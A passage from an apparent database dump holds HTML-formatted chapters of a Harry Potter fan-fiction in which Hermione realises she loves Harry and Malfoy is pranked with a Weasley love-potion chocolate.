you&#8217;re &#8211; you&#8217;re . . . you&#8217;re so powerful and\nsometimes, well, I&#8217;m afraid.&#8217; She took a deep breath. &#8216;Not of you. For you.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry didn&#8217;t know\nquite what to say, so he didn&#8217;t say anything.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione poking\nhim in the ribs. &#8216;Enough serious stuff, OK?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry raised an\neyebrow. &#8216;You&#8217;re sure?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Positive.&#8217;\nHermione insisted.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">He lunged at her\nand tickled her mercilessly. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">They lay back, on\nthe rug; Hermione gasping for breath and Harry chuckling.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione watched\nhim smile, unheeded and freely. This was the way it should be.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">She hardened her\nheart against the piece of an insult to vermin which threatened to destroy this\nperson beside her.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">What did he know\nof him. That he was kind, fun-loving and sweet? He knew nothing, and still he\nwould hurt him.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">And in the\nprocess, destroy her as well.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">At that moment,\nHarry could have done anything.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">He felt powerful,\nlike he could fly unaided and move mountains.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">It was because of\nher. God, it was because of her.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione didn&#8217;t\nknow quite when the realization took place. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Perhaps, it was\nwhen he grinned in his vintage, lopsided way.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Or maybe, the way\nthey would pretend to flirt with each other.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Maybe it was when\nhe brushed an annoying strand of hair off her face.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">It could be when\nhe hugged her in greeting at King Cross Station.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">It could be when\nhe built that broom.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Or the slip of the\ntongue about marriage.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hell, it could\nhave been when she first met him.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Only now she\nrealized the truth.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">She was in love\nwith Harry Potter.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry Potter, her\nBEST friend.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Best FRIEND.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">OK, Houston,\nwe have a problem.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">A/N: Pretty short\nchappie, only seven pages Word document long, but I thought that way a nice place\nto end it. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Review please, I&#8217;d\nbe most honoured if you do!</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">~ Sassy</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(156, 4, '\n\n\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">READ AUTHOR NOTE!!!!</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">A/N: Most of the below chapter are\nedited versions of another fan-fic which I wrote a\nfew years back &#8211; called: Freedom, Truth, Beauty, Love\n. . . Harry Potter? So it is not copied off anything, if it seems familiar, that is why!</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione was crouching in front of\nthe bookcase in their Common Room, when none other than Harry Potter&#8217;s own\nvoice called her name.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">She panicked, jumped and hit her\nhead under the shelf of the bookcase.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;See?&#8217; said Harry. &#8216;Too jumpy.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione forced a smile and sat\ndown. Harry sat down next to her and watched as she opened a book and carefully\nbegan writing in her impossibly neat and tiny handwriting. The Common Room was\nempty. Hannah had gone to the library and Malfoy was heaven knows where, so only\nHarry and Hermione remained in the silent room.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione usually enjoyed times\nlike these; where Harry was not distracted by other people and they discussed\nnumerous items of interest. After that interesting revelation the night before,\nHermione found herself in a predicament. But still, she managed to be her usual\nquick-witted self. Harry too, she noticed keenly, was the same. He still teased\nher in the usual friendly/flirty way, sometimes stumbling on words when she\nfixed her eyes on him. Everything seemed to stay exactly the same.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;Exactly the same.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione kept writing, but she was\nacutely aware of an intense green-eyed gaze which was placed on her. The bell\nsoon rang and they headed down to Potions.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Yuck. Potions\nwith Snape. What could possibly be worse?</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Pansy Parkinson approached them\nswiftly.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Damn. That was a dumb question\nwhich tempted fate.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Look, Granger. Two Muggles have died in a football game. Wonder who&#8217;s next,\nhuh?&#8217; she cackled turning that infamous pug nose up in the air. Hermione\nsnatched the newspaper away from her briskly and saw the photographic Dark Mark\nwaving in the sky.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry too peered at it, but his\nface remained impassive. Wordlessly, he handed it back. He paled at little, but\ndid not say a word until they were sitting in Snape&#8217;s\nPotion class, as orderly and silent as new Dewert\npencils in a tin.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;&#8216;Hermione?&#8217; he said, voice breaking slightly,\n&#8216;I think I&#8217;ll just go, OK?&#8217; he nodded to Ron and left as Snape opened his mouth\nto take further points off Gryffindor for Potter&#8217;s incontrollable\ninsubordination.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione turned in her seat to\nwatch Harry disappear down the softly lit stone corridors, but was firmly\nbrought back to attention by a certain greasy-haired Professor. </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione gulped and concentrated\non the slimy heart of a goat, which they were to dissect. </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;And what, Miss Granger, are we\nlooking at here?&#8217; </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">His oily voice irritated her and\nshe looked up to see him pointing to a particularly gruesome looking bit. She\nrolled her eyes significantly and said in a clear voice, &#8216;The aorta.&#8217; This she\nsaid knowing quite well that it wasn&#8217;t and shut her eyes to the immediate out\nbreak of whispers and Snape&#8217;s shocked face.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Fools, she thought.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;What are you doing?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Studying.&#8217;\nCame a voice from behind a wall of books.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Surprise,\nsurprise.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Well, you asked.&#8217; She shot back\nswiftly as Ron sat down next to her. He banged his book down and sent a shower\nof dust over both of them, and Hermione sneezed loudly and decidedly\nungracefully.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;I came to tell you something.&#8217; He\nsaid urgently. &#8216;I shouldn&#8217;t, but I have to. I mean, your best friend can&#8217;t\nalways be your &#8211; your love advisor, yeah?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Yes?&#8217; Said\nHermione blankly.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Ron licked his lips nervously.\n&#8216;Man, he&#8217;s gonna kill me. Hermione, Harry l &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Anything going\non behind the books?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione and Ron peered guiltily\nover the pile off books.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Hi, Harry.&#8217; Said\nHermione. &#8216;Ron was just saying &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;- What a great\nday it is, right Harry?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry narrowed his eyes and looked\nat Ron. Ron turned a interesting shade of red and\nexamined his quill as if he was fascinated by it.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione was confused by this\nby-play and looked between them swiftly. &#8216;C&#8217;mon, what&#8217;s going on?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry looked at Ron. &#8216;Nothing, right?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Ron swallowed. &#8216;Yeah.\nNothing.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione shrugged. &#8216;Anyway, guess\nwhat.&#8217; She said.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry and Ron looked at her and\nblinked.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">She rolled her eyes. &#8216;Well, I\nfound out you can make a Potion with research that could kill You-Know-Who.\nLike an antidote or something. Only, it&#8217;ll take a fair amount of work and I&#8217;m\nnot sure an unqualified witch can do it.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry grinned in a tired sort of\nway. &#8216;Well if any unqualified witch can do it, it&#8217;ll be you.&#8217; He sat on the\nother side of Ron, hidden too by the books.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Ron made a gagging sound.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Harry, what is Dumbledore making you\n&#8211;&#8216; started Hermione but was interrupted by a young\nmale voice.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;But think about cruel that is!&#8217;\nit said.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Cruel? Nah,\nmate. Funny is the word. The Most Unlikely Couple in love!&#8217; the other\ngiggled.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Will it work?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Sure. I have the strand of hair,\ntoo.&#8217; </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;I&#8217;d like to see Ron&#8217;s face.&#8217;\nSpoke up a girl.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Nah, Harry&#8217;s! He&#8217;s the one who-&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione stood up at that point,\nfollowed by Harry and Ron. They saw three small Gryffindor; two boys and one\ngirl. Hermione smiled. She was reminded of themselves at age eleven. The girl\nblushed, and the three of the scampered away swiftly.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;What do you reckon they&#8217;re trying\nto pull off?&#8217; said Ron with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Whatever it is, let&#8217;s just take\nit and let them have their satisfaction.&#8217; Said Harry. </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Simple words\nspoken all too soon.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">The giggling first year enticed a\nfellow classmate in Slytherin into their plan. This\nsmall Slytherin happened to dislike a certain older\none by the pit of her small heart and agreed by way of receiving a much prized\ndesk ornament. </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Slipping a concealed love-heart\nshaped chocolate into pumpkin pie &#8211; thanks to Fred and George&#8217;s latest Weasley\nWizard Wheezes branch in Hogsmeade &#8211; they sat back at\ntheir places at the lunch table.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;Oblivious and silent, Malfoy took a bite of a nice\npiece of pumpkin pie which was his favourite. Not noticing four pair of bright\neyes watching him intently, he took a bite.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione was peacefully eating,\nsitting in her usual spot and talking animatedly to Lavender and Ginny. She was\ndisturbed by a voice near her.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Hermione.&#8217;\n</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione turned to see none other\nthan Draco Malfoy, the very King of Unkindness, holding out a bunch of roses.\nHe smiled sheepishly and held them out.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Hermione.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione gave him an incredulous\nlook and turned back to her conversation. The Gryffindors\naround them gave each other disgusted looks, and did the same.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Hermione.&#8217;\nHe said yet again in the same tone.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;What?&#8217; said Hermione, very impatiently. </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;I love you Hermione Granger.&#8217; He\nsaid, holding the roses out.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Absolute\nhysteria.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Ron burst into a fit of laughter\nwhile Harry watched Malfoy suspiciously as he gave Hermione roses. Pansy burst\ninto tears while another Slytherin consoled her. Crabbe and Goyle looked like\nstunned mullets, but they usually did so they was at\nleast a little normalcy.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione refused to take the\nflowers. It was probably a dare or something equally hideous. She didn&#8217;t take\nthem and was astounded to see Malfoy&#8217;s lower lip\ntrembling and his eyes cloud with tears. Hermione felt very guilty and took\nthem from him bracing herself for the worst.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">But nothing happened.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Out of the whole school, only Ron\nand Ginny and the four little ones knew what was going on. Ron and Ginny knew\nabout the product, but was sworn to secrecy. One of the three little Gryffindors knew because he won a competition at WWW, where\nhe won a sackful of tricks. He told his two best\nfriends, and they told the one Slytherin they needed\nto plant it. They all were sworn to secrecy as well.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Leave her alone Malfoy!&#8217; yelled\nHarry. &#8216;Save it for Pansy.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Malfoy reared at him, &#8216;How dare\nyou!&#8217; he screeched. &#8216;How dare you tell me what to do!\nHermione is my love, and mine only. How many chances\nhave you had with her? You&#8217;re so far up yourself, I\ncan&#8217;t see your damn head!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione bit her lip and looked\ndown, embarrassed. Harry coloured a brilliant shade\nof red.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione shot Ron a terrified look\nand Ginny, smiling sweetly at her, pulled her out of the hall, much to Malfoy&#8217;s dismay.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Ginny! What is going on?&#8217;\nshrieked Hermione, tossing the flowers aside.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;It&#8217;s &#8211; it&#8217;s &#8211; well . . . Fred and\nGeorge invented then.&#8217; She said, laughing. &#8216;It&#8217;s a milder version of the\nillegal Love Potion spell concealed in a chocolate. But it in itself is not\nillegal, because it is not of the same strength.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;The same strength?&#8217; said\nHermione. &#8216;It needs to be damn strong for Malfoy to fall in love with me!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;You poor thing, it&#8217;s made\nspecifically for you. With a strand of hair.&#8217; said Ginny struggling to look\nsympathetic; but failing. &#8216;You&#8217;ll have to go along with it for about a day.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;What!&#8217; said Hermione in horror. &#8216;I can&#8217;t &#8211; I . . . what will Harry think?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Ginny immediately sobered. &#8216;Harry,\nhuh?&#8217; a smile snaked on her face, &#8216;Why should you care?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Bad move. &#8216;I &#8211; er\n&#8211; I . . . well, naturally he&#8217;d be worried because I&#8217;m his friend and &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;You fell in love with him?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;No!&#8217; said Hermione quickly. &#8216;Yes\n&#8211; OK, fine. Yes, all right? Are you happy?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;You don&#8217;t want him to &#8211; well, get\ndepressed or start drinking himself to death because his only love hates him?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Well, no, but &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;And besides,&#8217; said Ginny\ntriumphantly. &#8216;A little jealousy never hurt anyone.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">And thus with words not of Cupid\nand not Shakespeare, Ginny left. She left leaving Hermione to gathered what scattered courage she had and walk briskly\ninto the Transfiguration classroom. Much to her disgust, she found that she had\nbrought the wrong books. Harry of course, immediately offered the use of his,\nbut Hermione really felt that she could not bear to even think about looking at\nhim without feeling exceedingly guilty.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Malfoy too tripped merrily into\nthe classroom, looking most unlike himself, by wearing\na goofy grin instead of his usual sultry smirk. Placing himself beside\nHermione, he continued to stare at her as if she were a goddess in mortal\nclothing, occasionally scribbling down a note or two.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Professor McGonagall, being the\nshrewd one she was, noticed a certain absence on one side of the room, next to Crabbe and Goyle and the pained\nexpressions of Harry and Ron&#8217;s faces. She also noticed Malfoy &#8211; 